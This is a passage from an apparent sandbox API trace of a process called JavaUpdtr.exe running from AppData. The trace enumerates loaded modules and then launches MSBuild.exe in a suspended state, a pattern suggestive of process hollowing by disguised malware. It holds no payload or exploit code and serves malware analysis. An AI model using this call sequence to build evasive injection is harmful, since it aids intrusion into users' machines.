lpcbNeeded=0x31c9a8 | out: lphModule=0x26835b0, lpcbNeeded=0x31c9a8) returned 1 [0116.191] GetLastError () returned 0x7f [0116.191] GetModuleInformation (in: hProcess=0x200, hModule=0xd40000, lpmodinfo=0x26836f0, cb=0xc | out: lpmodinfo=0x26836f0*(lpBaseOfDll=0xd40000, SizeOfImage=0xb0000, EntryPoint=0xd91d7e)) returned 1 [0116.192] GetLastError () returned 0x7f [0116.192] GetModuleBaseNameW (in: hProcess=0x200, hModule=0xd40000, lpBaseName=0x7dcbd0, nSize=0x800 | out: lpBaseName="JavaUpdtr.exe") returned 0xd [0116.192] GetLastError () returned 0x7f [0116.192] GetModuleFileNameExW (in: hProcess=0x200, hModule=0xd40000, lpFilename=0x7dcbd0, nSize=0x800 | out: lpFilename="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Java\\JavaUpdtr.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\java\\javaupdtr.exe")) returned 0x40 [0116.192] GetLastError () returned 0x7f [0116.192] GetModuleInformation (in: hProcess=0x200, hModule=0x77ac0000, lpmodinfo=0x2684854, cb=0xc | out: lpmodinfo=0x2684854*(lpBaseOfDll=0x77ac0000, SizeOfImage=0x180000, EntryPoint=0x0)) returned 1 [0116.192] GetLastError () returned 0x7f [0116.192] GetModuleBaseNameW (in: hProcess=0x200, hModule=0x77ac0000, lpBaseName=0x7dcbd0, nSize=0x800 | out: lpBaseName="ntdll.dll") returned 0x9 [0116.192] GetLastError () returned 0x7f [0116.193] GetModuleFileNameExW (in: hProcess=0x200, hModule=0x77ac0000, lpFilename=0x7dcbd0, nSize=0x800 | out: lpFilename="C:\\Windows\\SysWOW64\\ntdll.dll" (normalized: "c:\\windows\\syswow64\\ntdll.dll")) returned 0x1d [0116.193] GetLastError () returned 0x7f [0116.193] GetModuleInformation (in: hProcess=0x200, hModule=0x73cc0000, lpmodinfo=0x2685948, cb=0xc | out: lpmodinfo=0x2685948*(lpBaseOfDll=0x73cc0000, SizeOfImage=0x4a000, EntryPoint=0x73cc2e54)) returned 1 [0116.193] GetLastError () returned 0x7f [0116.193] GetModuleBaseNameW (in: hProcess=0x200, hModule=0x73cc0000, lpBaseName=0x7dcbd0, nSize=0x800 | out: lpBaseName="MSCOREE.DLL") returned 0xb [0116.193] GetLastError () returned 0x7f [0116.193] GetModuleFileNameExW (in: hProcess=0x200, hModule=0x73cc0000, lpFilename=0x7dcbd0, nSize=0x800 | out: lpFilename="C:\\Windows\\SYSTEM32\\MSCOREE.DLL" (normalized: "c:\\windows\\system32\\mscoree.dll")) returned 0x1f [0116.193] GetLastError () returned 0x7f [0116.193] GetModuleInformation (in: hProcess=0x200, hModule=0x75930000, lpmodinfo=0x2686a44, cb=0xc | out: lpmodinfo=0x2686a44*(lpBaseOfDll=0x75930000, SizeOfImage=0x110000, EntryPoint=0x759432d3)) returned 1 [0116.194] GetLastError () returned 0x7f [0116.194] GetModuleBaseNameW (in: hProcess=0x200, hModule=0x75930000, lpBaseName=0x7dcbd0, nSize=0x800 | out: lpBaseName="KERNEL32.dll") returned 0xc [0116.194] GetLastError () returned 0x7f [0116.194] GetModuleFileNameExW (in: hProcess=0x200, hModule=0x75930000, lpFilename=0x7dcbd0, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\KERNEL32.dll" (normalized: "c:\\windows\\syswow64\\kernel32.dll")) returned 0x20 [0116.194] GetLastError () returned 0x7f [0116.194] GetModuleInformation (in: hProcess=0x200, hModule=0x77670000, lpmodinfo=0x2687b48, cb=0xc | out: lpmodinfo=0x2687b48*(lpBaseOfDll=0x77670000, SizeOfImage=0x46000, EntryPoint=0x77677478)) returned 1 [0116.194] GetLastError () returned 0x7f [0116.194] GetModuleBaseNameW (in: hProcess=0x200, hModule=0x77670000, lpBaseName=0x7dcbd0, nSize=0x800 | out: lpBaseName="KERNELBASE.dll") returned 0xe [0116.195] GetLastError () returned 0x7f [0116.195] GetModuleFileNameExW (in: hProcess=0x200, hModule=0x77670000, lpFilename=0x7dcbd0, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\KERNELBASE.dll" (normalized: "c:\\windows\\syswow64\\kernelbase.dll")) returned 0x22 [0116.195] GetLastError () returned 0x7f [0116.195] GetModuleInformation (in: hProcess=0x200, hModule=0x75db0000, lpmodinfo=0x2688c84, cb=0xc | out: lpmodinfo=0x2688c84*(lpBaseOfDll=0x75db0000, SizeOfImage=0xa0000, EntryPoint=0x75dc49e5)) returned 1 [0116.195] GetLastError () returned 0x7f [0116.195] GetModuleBaseNameW (in: hProcess=0x200, hModule=0x75db0000, lpBaseName=0x7dcbd0, nSize=0x800 | out: lpBaseName="ADVAPI32.dll") returned 0xc [0116.195] GetLastError () returned 0x7f [0116.195] GetModuleFileNameExW (in: hProcess=0x200, hModule=0x75db0000, lpFilename=0x7dcbd0, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\ADVAPI32.dll" (normalized: "c:\\windows\\syswow64\\advapi32.dll")) returned 0x20 [0116.196] GetLastError () returned 0x7f [0116.196] GetModuleInformation (in: hProcess=0x200, hModule=0x76d40000, lpmodinfo=0x2689d88, cb=0xc | out: lpmodinfo=0x2689d88*(lpBaseOfDll=0x76d40000, SizeOfImage=0xac000, EntryPoint=0x76d4a472)) returned 1 [0116.196] GetLastError () returned 0x7f [0116.196] GetModuleBaseNameW (in: hProcess=0x200, hModule=0x76d40000, lpBaseName=0x7dcbd0, nSize=0x800 | out: lpBaseName="msvcrt.dll") returned 0xa [0116.196] GetLastError () returned 0x7f [0116.196] GetModuleFileNameExW (in: hProcess=0x200, hModule=0x76d40000, lpFilename=0x7dcbd0, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\msvcrt.dll" (normalized: "c:\\windows\\syswow64\\msvcrt.dll")) returned 0x1e [0116.196] GetLastError () returned 0x7f [0116.197] GetModuleInformation (in: hProcess=0x200, hModule=0x76ec0000, lpmodinfo=0x268ae84, cb=0xc | out: lpmodinfo=0x268ae84*(lpBaseOfDll=0x76ec0000, SizeOfImage=0x19000, EntryPoint=0x76ec4975)) returned 1 [0116.197] GetLastError () returned 0x7f [0116.197] GetModuleBaseNameW (in: hProcess=0x200, hModule=0x76ec0000, lpBaseName=0x7dcbd0, nSize=0x800 | out: lpBaseName="sechost.dll") returned 0xb [0116.197] GetLastError () returned 0x7f [0116.197] GetModuleFileNameExW (in: hProcess=0x200, hModule=0x76ec0000, lpFilename=0x7dcbd0, nSize=0x800 | out: lpFilename="C:\\Windows\\SysWOW64\\sechost.dll" (normalized: "c:\\windows\\syswow64\\sechost.dll")) returned 0x1f [0116.197] GetLastError () returned 0x7f [0116.197] GetModuleInformation (in: hProcess=0x200, hModule=0x75e50000, lpmodinfo=0x268bf80, cb=0xc | out: lpmodinfo=0x268bf80*(lpBaseOfDll=0x75e50000, SizeOfImage=0xf0000, EntryPoint=0x75e60569)) returned 1 [0116.198] GetLastError () returned 0x7f [0116.198] GetModuleBaseNameW (in: hProcess=0x200, hModule=0x75e50000, lpBaseName=0x7dcbd0, nSize=0x800 | out: lpBaseName="RPCRT4.dll") returned 0xa [0116.198] GetLastError () returned 0x7f [0116.198] GetModuleFileNameExW (in: hProcess=0x200, hModule=0x75e50000, lpFilename=0x7dcbd0, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\RPCRT4.dll" (normalized: "c:\\windows\\syswow64\\rpcrt4.dll")) returned 0x1e [0116.198] GetLastError () returned 0x7f [0116.198] GetModuleInformation (in: hProcess=0x200, hModule=0x75620000, lpmodinfo=0x268d0cc, cb=0xc | out: lpmodinfo=0x268d0cc*(lpBaseOfDll=0x75620000, SizeOfImage=0x60000, EntryPoint=0x7563a3b3)) returned 1 [0116.199] GetLastError () returned 0x7f [0116.199] GetModuleBaseNameW (in: hProcess=0x200, hModule=0x75620000, lpBaseName=0x7dcbd0, nSize=0x800 | out: lpBaseName="SspiCli.dll") returned 0xb [0116.199] GetLastError () returned 0x7f [0116.199] GetModuleFileNameExW (in: hProcess=0x200, hModule=0x75620000, lpFilename=0x7dcbd0, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\SspiCli.dll" (normalized: "c:\\windows\\syswow64\\sspicli.dll")) returned 0x1f [0116.199] GetLastError () returned 0x7f [0116.199] GetModuleInformation (in: hProcess=0x200, hModule=0x75610000, lpmodinfo=0x268e1c8, cb=0xc | out: lpmodinfo=0x268e1c8*(lpBaseOfDll=0x75610000, SizeOfImage=0xc000, EntryPoint=0x756110e1)) returned 1 [0116.200] GetLastError () returned 0x7f [0116.200] GetModuleBaseNameW (in: hProcess=0x200, hModule=0x75610000, lpBaseName=0x7dcbd0, nSize=0x800 | out: lpBaseName="CRYPTBASE.dll") returned 0xd [0116.200] GetLastError () returned 0x7f [0116.200] GetModuleFileNameExW (in: hProcess=0x200, hModule=0x75610000, lpFilename=0x7dcbd0, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\CRYPTBASE.dll" (normalized: "c:\\windows\\syswow64\\cryptbase.dll")) returned 0x21 [0116.200] GetLastError () returned 0x7f [0116.200] GetModuleInformation (in: hProcess=0x200, hModule=0x737a0000, lpmodinfo=0x268f2cc, cb=0xc | out: lpmodinfo=0x268f2cc*(lpBaseOfDll=0x737a0000, SizeOfImage=0x78000, EntryPoint=0x737af7ba)) returned 1 [0116.201] GetLastError () returned 0x7f [0116.201] GetModuleBaseNameW (in: hProcess=0x200, hModule=0x737a0000, lpBaseName=0x7dcbd0, nSize=0x800 | out: lpBaseName="mscoreei.dll") returned 0xc [0116.201] GetLastError () returned 0x7f [0116.201] GetModuleFileNameExW (in: hProcess=0x200, hModule=0x737a0000, lpFilename=0x7dcbd0, nSize=0x800 | out: lpFilename="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscoreei.dll" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\mscoreei.dll")) returned 0x3a [0116.201] GetLastError () returned 0x7f [0116.201] GetModuleInformation (in: hProcess=0x200, hModule=0x75ba0000, lpmodinfo=0x2690404, cb=0xc | out: lpmodinfo=0x2690404*(lpBaseOfDll=0x75ba0000, SizeOfImage=0x57000, EntryPoint=0x75bb9ba6)) returned 1 [0116.202] GetLastError () returned 0x7f [0116.202] GetModuleBaseNameW (in: hProcess=0x200, hModule=0x75ba0000, lpBaseName=0x7dcbd0, nSize=0x800 | out: lpBaseName="SHLWAPI.dll") returned 0xb [0116.202] GetLastError () returned 0x7f [0116.202] GetModuleFileNameExW (in: hProcess=0x200, hModule=0x75ba0000, lpFilename=0x7dcbd0, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\SHLWAPI.dll" (normalized: "c:\\windows\\syswow64\\shlwapi.dll")) returned 0x1f [0116.202] GetLastError () returned 0x7f [0116.202] GetModuleInformation (in: hProcess=0x200, hModule=0x75c40000, lpmodinfo=0x2691500, cb=0xc | out: lpmodinfo=0x2691500*(lpBaseOfDll=0x75c40000, SizeOfImage=0x90000, EntryPoint=0x75c56343)) returned 1 [0116.203] GetLastError () returned 0x7f [0116.203] GetModuleBaseNameW (in: hProcess=0x200, hModule=0x75c40000, lpBaseName=0x7dcbd0, nSize=0x800 | out: lpBaseName="GDI32.dll") returned 0x9 [0116.203] GetLastError () returned 0x7f [0116.203] GetModuleFileNameExW (in: hProcess=0x200, hModule=0x75c40000, lpFilename=0x7dcbd0, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\GDI32.dll" (normalized: "c:\\windows\\syswow64\\gdi32.dll")) returned 0x1d [0116.203] GetLastError () returned 0x7f [0116.204] GetModuleInformation (in: hProcess=0x200, hModule=0x75a40000, lpmodinfo=0x26925f4, cb=0xc | out: lpmodinfo=0x26925f4*(lpBaseOfDll=0x75a40000, SizeOfImage=0x100000, EntryPoint=0x75a5b6ed)) returned 1 [0116.204] GetLastError () returned 0x7f [0116.204] GetModuleBaseNameW (in: hProcess=0x200, hModule=0x75a40000, lpBaseName=0x7dcbd0, nSize=0x800 | out: lpBaseName="USER32.dll") returned 0xa [0116.204] GetLastError () returned 0x7f [0116.204] GetModuleFileNameExW (in: hProcess=0x200, hModule=0x75a40000, lpFilename=0x7dcbd0, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\USER32.dll" (normalized: "c:\\windows\\syswow64\\user32.dll")) returned 0x1e [0116.205] GetLastError () returned 0x7f [0116.205] GetModuleInformation (in: hProcess=0x200, hModule=0x75c00000, lpmodinfo=0x26936f0, cb=0xc | out: lpmodinfo=0x26936f0*(lpBaseOfDll=0x75c00000, SizeOfImage=0xa000, EntryPoint=0x75c036a0)) returned 1 [0116.205] GetLastError () returned 0x7f [0116.205] GetModuleBaseNameW (in: hProcess=0x200, hModule=0x75c00000, lpBaseName=0x7dcbd0, nSize=0x800 | out: lpBaseName="LPK.dll") returned 0x7 [0116.205] GetLastError () returned 0x7f [0116.205] GetModuleFileNameExW (in: hProcess=0x200, hModule=0x75c00000, lpFilename=0x7dcbd0, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\LPK.dll" (normalized: "c:\\windows\\syswow64\\lpk.dll")) returned 0x1b [0116.206] GetLastError () returned 0x7f [0116.206] GetModuleInformation (in: hProcess=0x200, hModule=0x76ee0000, lpmodinfo=0x26947dc, cb=0xc | out: lpmodinfo=0x26947dc*(lpBaseOfDll=0x76ee0000, SizeOfImage=0x9d000, EntryPoint=0x76f13fd7)) returned 1 [0116.206] GetLastError () returned 0x7f [0116.206] GetModuleBaseNameW (in: hProcess=0x200, hModule=0x76ee0000, lpBaseName=0x7dcbd0, nSize=0x800 | out: lpBaseName="USP10.dll") returned 0x9 [0116.207] GetLastError () returned 0x7f [0116.207] GetModuleFileNameExW (in: hProcess=0x200, hModule=0x76ee0000, lpFilename=0x7dcbd0, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\USP10.dll" (normalized: "c:\\windows\\syswow64\\usp10.dll")) returned 0x1d [0116.207] GetLastError () returned 0x7f [0116.207] GetModuleInformation (in: hProcess=0x200, hModule=0x758d0000, lpmodinfo=0x2695960, cb=0xc | out: lpmodinfo=0x2695960*(lpBaseOfDll=0x758d0000, SizeOfImage=0x60000, EntryPoint=0x758e158f)) returned 1 [0116.207] GetLastError () returned 0x7f [0116.207] GetModuleBaseNameW (in: hProcess=0x200, hModule=0x758d0000, lpBaseName=0x7dcbd0, nSize=0x800 | out: lpBaseName="IMM32.DLL") returned 0x9 [0116.208] GetLastError () returned 0x7f [0116.208] GetModuleFileNameExW (in: hProcess=0x200, hModule=0x758d0000, lpFilename=0x7dcbd0, nSize=0x800 | out: lpFilename="C:\\Windows\\system32\\IMM32.DLL" (normalized: "c:\\windows\\system32\\imm32.dll")) returned 0x1d [0116.208] GetLastError () returned 0x7f [0116.208] GetModuleInformation (in: hProcess=0x200, hModule=0x76df0000, lpmodinfo=0x2696a54, cb=0xc | out: lpmodinfo=0x2696a54*(lpBaseOfDll=0x76df0000, SizeOfImage=0xcc000, EntryPoint=0x76df168b)) returned 1 [0116.209] GetLastError () returned 0x7f [0116.209] GetModuleBaseNameW (in: hProcess=0x200, hModule=0x76df0000, lpBaseName=0x7dcbd0, nSize=0x800 | out: lpBaseName="MSCTF.dll") returned 0x9 [0116.209] GetLastError () returned 0x7f [0116.209] GetModuleFileNameExW (in: hProcess=0x200, hModule=0x76df0000, lpFilename=0x7dcbd0, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\MSCTF.dll" (normalized: "c:\\windows\\syswow64\\msctf.dll")) returned 0x1d [0116.210] GetLastError () returned 0x7f [0116.210] GetModuleInformation (in: hProcess=0x200, hModule=0x75430000, lpmodinfo=0x2697b48, cb=0xc | out: lpmodinfo=0x2697b48*(lpBaseOfDll=0x75430000, SizeOfImage=0x9000, EntryPoint=0x75431220)) returned 1 [0116.210] GetLastError () returned 0x7f [0116.210] GetModuleBaseNameW (in: hProcess=0x200, hModule=0x75430000, lpBaseName=0x7dcbd0, nSize=0x800 | out: lpBaseName="VERSION.dll") returned 0xb [0116.210] GetLastError () returned 0x7f [0116.211] GetModuleFileNameExW (in: hProcess=0x200, hModule=0x75430000, lpFilename=0x7dcbd0, nSize=0x800 | out: lpFilename="C:\\Windows\\system32\\VERSION.dll" (normalized: "c:\\windows\\system32\\version.dll")) returned 0x1f [0116.211] GetLastError () returned 0x7f [0116.211] GetModuleInformation (in: hProcess=0x200, hModule=0x749d0000, lpmodinfo=0x2698c44, cb=0xc | out: lpmodinfo=0x2698c44*(lpBaseOfDll=0x749d0000, SizeOfImage=0x5ab000, EntryPoint=0x74a23dc0)) returned 1 [0116.211] GetLastError () returned 0x7f [0116.211] GetModuleBaseNameW (in: hProcess=0x200, hModule=0x749d0000, lpBaseName=0x7dcbd0, nSize=0x800 | out: lpBaseName="mscorwks.dll") returned 0xc [0116.212] GetLastError () returned 0x7f [0116.212] GetModuleFileNameExW (in: hProcess=0x200, hModule=0x749d0000, lpFilename=0x7dcbd0, nSize=0x800 | out: lpFilename="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\mscorwks.dll" (normalized: "c:\\windows\\microsoft.net\\framework\\v2.0.50727\\mscorwks.dll")) returned 0x3a [0116.212] GetLastError () returned 0x7f [0116.212] GetModuleInformation (in: hProcess=0x200, hModule=0x75390000, lpmodinfo=0x2699d7c, cb=0xc | out: lpmodinfo=0x2699d7c*(lpBaseOfDll=0x75390000, SizeOfImage=0x9b000, EntryPoint=0x7539232b)) returned 1 [0116.213] GetLastError () returned 0x7f [0116.213] GetModuleBaseNameW (in: hProcess=0x200, hModule=0x75390000, lpBaseName=0x7dcbd0, nSize=0x800 | out: lpBaseName="MSVCR80.dll") returned 0xb [0116.213] GetLastError () returned 0x7f [0116.213] GetModuleFileNameExW (in: hProcess=0x200, hModule=0x75390000, lpFilename=0x7dcbd0, nSize=0x800 | out: lpFilename="C:\\Windows\\WinSxS\\x86_microsoft.vc80.crt_1fc8b3b9a1e18e3b_8.0.50727.6195_none_d09154e044272b9a\\MSVCR80.dll" (normalized: "c:\\windows\\winsxs\\x86_microsoft.vc80.crt_1fc8b3b9a1e18e3b_8.0.50727.6195_none_d09154e044272b9a\\msvcr80.dll")) returned 0x6a [0116.214] GetLastError () returned 0x7f [0116.214] GetModuleInformation (in: hProcess=0x200, hModule=0x75f40000, lpmodinfo=0x269af10, cb=0xc | out: lpmodinfo=0x269af10*(lpBaseOfDll=0x75f40000, SizeOfImage=0xc4a000, EntryPoint=0x75fc1601)) returned 1 [0116.214] GetLastError () returned 0x7f [0116.214] GetModuleBaseNameW (in: hProcess=0x200, hModule=0x75f40000, lpBaseName=0x7dcbd0, nSize=0x800 | out: lpBaseName="shell32.dll") returned 0xb [0116.215] GetLastError () returned 0x7f [0116.215] GetModuleFileNameExW (in: hProcess=0x200, hModule=0x75f40000, lpFilename=0x7dcbd0, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\shell32.dll" (normalized: "c:\\windows\\syswow64\\shell32.dll")) returned 0x1f [0116.215] GetLastError () returned 0x7f [0116.216] GetModuleInformation (in: hProcess=0x200, hModule=0x75770000, lpmodinfo=0x269c00c, cb=0xc | out: lpmodinfo=0x269c00c*(lpBaseOfDll=0x75770000, SizeOfImage=0x15c000, EntryPoint=0x757bba3d)) returned 1 [0116.216] GetLastError () returned 0x7f [0116.216] GetModuleBaseNameW (in: hProcess=0x200, hModule=0x75770000, lpBaseName=0x7dcbd0, nSize=0x800 | out: lpBaseName="ole32.dll") returned 0x9 [0116.216] GetLastError () returned 0x7f [0116.217] GetModuleFileNameExW (in: hProcess=0x200, hModule=0x75770000, lpFilename=0x7dcbd0, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\ole32.dll" (normalized: "c:\\windows\\syswow64\\ole32.dll")) returned 0x1d [0116.217] GetLastError () returned 0x7f [0116.217] GetModuleInformation (in: hProcess=0x200, hModule=0x75290000, lpmodinfo=0x269d100, cb=0xc | out: lpmodinfo=0x269d100*(lpBaseOfDll=0x75290000, SizeOfImage=0xb000, EntryPoint=0x75291992)) returned 1 [0116.218] GetLastError () returned 0x7f [0116.218] GetModuleBaseNameW (in: hProcess=0x200, hModule=0x75290000, lpBaseName=0x7dcbd0, nSize=0x800 | out: lpBaseName="profapi.dll") returned 0xb [0116.218] GetLastError () returned 0x7f [0116.218] GetModuleFileNameExW (in: hProcess=0x200, hModule=0x75290000, lpFilename=0x7dcbd0, nSize=0x800 | out: lpFilename="C:\\Windows\\system32\\profapi.dll" (normalized: "c:\\windows\\system32\\profapi.dll")) returned 0x1f [0116.219] GetLastError () returned 0x7f [0116.219] GetModuleInformation (in: hProcess=0x200, hModule=0x72ac0000, lpmodinfo=0x269e1fc, cb=0xc | out: lpmodinfo=0x269e1fc*(lpBaseOfDll=0x72ac0000, SizeOfImage=0xaf8000, EntryPoint=0x0)) returned 1 [0116.219] GetLastError () returned 0x7f [0116.219] GetModuleBaseNameW (in: hProcess=0x200, hModule=0x72ac0000, lpBaseName=0x7dcbd0, nSize=0x800 | out: lpBaseName="mscorlib.ni.dll") returned 0xf [0116.220] GetLastError () returned 0x7f [0116.220] GetModuleFileNameExW (in: hProcess=0x200, hModule=0x72ac0000, lpFilename=0x7dcbd0, nSize=0x800 | out: lpFilename="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\mscorlib\\62a0b3e4b40ec0e8c5cfaa0c8848e64a\\mscorlib.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_32\\mscorlib\\62a0b3e4b40ec0e8c5cfaa0c8848e64a\\mscorlib.ni.dll")) returned 0x68 [0116.220] GetLastError () returned 0x7f [0116.220] GetModuleInformation (in: hProcess=0x200, hModule=0x75440000, lpmodinfo=0x269f394, cb=0xc | out: lpmodinfo=0x269f394*(lpBaseOfDll=0x75440000, SizeOfImage=0x80000, EntryPoint=0x754537c9)) returned 1 [0116.221] GetLastError () returned 0x7f [0116.221] GetModuleBaseNameW (in: hProcess=0x200, hModule=0x75440000, lpBaseName=0x7dcbd0, nSize=0x800 | out: lpBaseName="uxtheme.dll") returned 0xb [0116.221] GetLastError () returned 0x7f [0116.221] GetModuleFileNameExW (in: hProcess=0x200, hModule=0x75440000, lpFilename=0x7dcbd0, nSize=0x800 | out: lpFilename="C:\\Windows\\system32\\uxtheme.dll" (normalized: "c:\\windows\\system32\\uxtheme.dll")) returned 0x1f [0116.222] GetLastError () returned 0x7f [0116.222] GetModuleInformation (in: hProcess=0x200, hModule=0x75230000, lpmodinfo=0x26a0490, cb=0xc | out: lpmodinfo=0x26a0490*(lpBaseOfDll=0x75230000, SizeOfImage=0x5b000, EntryPoint=0x75274d48)) returned 1 [0116.222] GetLastError () returned 0x7f [0116.223] GetModuleBaseNameW (in: hProcess=0x200, hModule=0x75230000, lpBaseName=0x7dcbd0, nSize=0x800 | out: lpBaseName="mscorjit.dll") returned 0xc [0116.223] GetLastError () returned 0x7f [0116.223] GetModuleFileNameExW (in: hProcess=0x200, hModule=0x75230000, lpFilename=0x7dcbd0, nSize=0x800 | out: lpFilename="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\mscorjit.dll" (normalized: "c:\\windows\\microsoft.net\\framework\\v2.0.50727\\mscorjit.dll")) returned 0x3a [0116.224] GetLastError () returned 0x7f [0116.224] GetModuleInformation (in: hProcess=0x200, hModule=0x72320000, lpmodinfo=0x26a15c8, cb=0xc | out: lpmodinfo=0x26a15c8*(lpBaseOfDll=0x72320000, SizeOfImage=0x79c000, EntryPoint=0x0)) returned 1 [0116.224] GetLastError () returned 0x7f [0116.224] GetModuleBaseNameW (in: hProcess=0x200, hModule=0x72320000, lpBaseName=0x7dcbd0, nSize=0x800 | out: lpBaseName="System.ni.dll") returned 0xd [0116.225] GetLastError () returned 0x7f [0116.225] GetModuleFileNameExW (in: hProcess=0x200, hModule=0x72320000, lpFilename=0x7dcbd0, nSize=0x800 | out: lpFilename="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System\\9e0a3b9b9f457233a335d7fba8f95419\\System.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_32\\system\\9e0a3b9b9f457233a335d7fba8f95419\\system.ni.dll")) returned 0x64 [0116.225] GetLastError () returned 0x7f [0116.225] GetModuleInformation (in: hProcess=0x200, hModule=0x750a0000, lpmodinfo=0x26a2754, cb=0xc | out: lpmodinfo=0x26a2754*(lpBaseOfDll=0x750a0000, SizeOfImage=0x188000, EntryPoint=0x0)) returned 1 [0116.226] GetLastError () returned 0x7f [0116.226] GetModuleBaseNameW (in: hProcess=0x200, hModule=0x750a0000, lpBaseName=0x7dcbd0, nSize=0x800 | out: lpBaseName="System.Drawing.ni.dll") returned 0x15 [0116.227] GetLastError () returned 0x7f [0116.227] GetModuleFileNameExW (in: hProcess=0x200, hModule=0x750a0000, lpFilename=0x7dcbd0, nSize=0x800 | out: lpFilename="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Drawing\\dbfe8642a8ed7b2b103ad28e0c96418a\\System.Drawing.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_32\\system.drawing\\dbfe8642a8ed7b2b103ad28e0c96418a\\system.drawing.ni.dll")) returned 0x74 [0116.227] GetLastError () returned 0x7f [0116.227] GetModuleInformation (in: hProcess=0x200, hModule=0x74830000, lpmodinfo=0x26a3910, cb=0xc | out: lpmodinfo=0x26a3910*(lpBaseOfDll=0x74830000, SizeOfImage=0x19b000, EntryPoint=0x0)) returned 1 [0116.228] GetLastError () returned 0x7f [0116.228] GetModuleBaseNameW (in: hProcess=0x200, hModule=0x74830000, lpBaseName=0x7dcbd0, nSize=0x800 | out: lpBaseName="Microsoft.VisualBasic.ni.dll") returned 0x1c [0116.228] GetLastError () returned 0x7f [0116.229] GetModuleFileNameExW (in: hProcess=0x200, hModule=0x74830000, lpFilename=0x7dcbd0, nSize=0x800 | out: lpFilename="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualBas#\\08d608378aa405adc844f3cf36974b8c\\Microsoft.VisualBasic.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_32\\microsoft.visualbas#\\08d608378aa405adc844f3cf36974b8c\\microsoft.visualbasic.ni.dll")) returned 0x81 [0116.229] GetLastError () returned 0x7f [0116.229] GetModuleInformation (in: hProcess=0x200, hModule=0x746a0000, lpmodinfo=0x26a4af4, cb=0xc | out: lpmodinfo=0x26a4af4*(lpBaseOfDll=0x746a0000, SizeOfImage=0x190000, EntryPoint=0x7473d026)) returned 1 [0116.230] GetLastError () returned 0x7f [0116.230] GetModuleBaseNameW (in: hProcess=0x200, hModule=0x746a0000, lpBaseName=0x7dcbd0, nSize=0x800 | out: lpBaseName="gdiplus.dll") returned 0xb [0116.230] GetLastError () returned 0x7f [0116.230] GetModuleFileNameExW (in: hProcess=0x200, hModule=0x746a0000, lpFilename=0x7dcbd0, nSize=0x800 | out: lpFilename="C:\\Windows\\WinSxS\\x86_microsoft.windows.gdiplus_6595b64144ccf1df_1.1.7601.17514_none_72d18a4386696c80\\gdiplus.dll" (normalized: "c:\\windows\\winsxs\\x86_microsoft.windows.gdiplus_6595b64144ccf1df_1.1.7601.17514_none_72d18a4386696c80\\gdiplus.dll")) returned 0x71 [0116.231] GetLastError () returned 0x7f [0116.231] GetModuleInformation (in: hProcess=0x200, hModule=0x74fa0000, lpmodinfo=0x26a5c94, cb=0xc | out: lpmodinfo=0x26a5c94*(lpBaseOfDll=0x74fa0000, SizeOfImage=0xfb000, EntryPoint=0x74fb17e1)) returned 1 [0116.232] GetLastError () returned 0x7f [0116.232] GetModuleBaseNameW (in: hProcess=0x200, hModule=0x74fa0000, lpBaseName=0x7dcbd0, nSize=0x800 | out: lpBaseName="WindowsCodecs.dll") returned 0x11 [0116.232] GetLastError () returned 0x7f [0116.232] GetModuleFileNameExW (in: hProcess=0x200, hModule=0x74fa0000, lpFilename=0x7dcbd0, nSize=0x800 | out: lpFilename="C:\\Windows\\system32\\WindowsCodecs.dll" (normalized: "c:\\windows\\system32\\windowscodecs.dll")) returned 0x25 [0116.233] GetLastError () returned 0x7f [0116.233] GetModuleInformation (in: hProcess=0x200, hModule=0x75700000, lpmodinfo=0x26a6eb8, cb=0xc | out: lpmodinfo=0x26a6eb8*(lpBaseOfDll=0x75700000, SizeOfImage=0x5000, EntryPoint=0x75701438)) returned 1 [0116.234] GetLastError () returned 0x7f [0116.234] GetModuleBaseNameW (in: hProcess=0x200, hModule=0x75700000, lpBaseName=0x7dcbd0, nSize=0x800 | out: lpBaseName="psapi.dll") returned 0x9 [0116.234] GetLastError () returned 0x7f [0116.234] GetModuleFileNameExW (in: hProcess=0x200, hModule=0x75700000, lpFilename=0x7dcbd0, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\psapi.dll" (normalized: "c:\\windows\\syswow64\\psapi.dll")) returned 0x1d [0116.235] GetLastError () returned 0x7f [0116.235] CloseHandle (hObject=0x200) returned 1 [0116.235] GetLastError () returned 0x7f [0116.248] CreateProcessA (in: lpApplicationName="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\MSBuild.exe", lpCommandLine="\"C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\MSBuild.exe\"", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x4, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x7469e0*(cb=0x44, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, 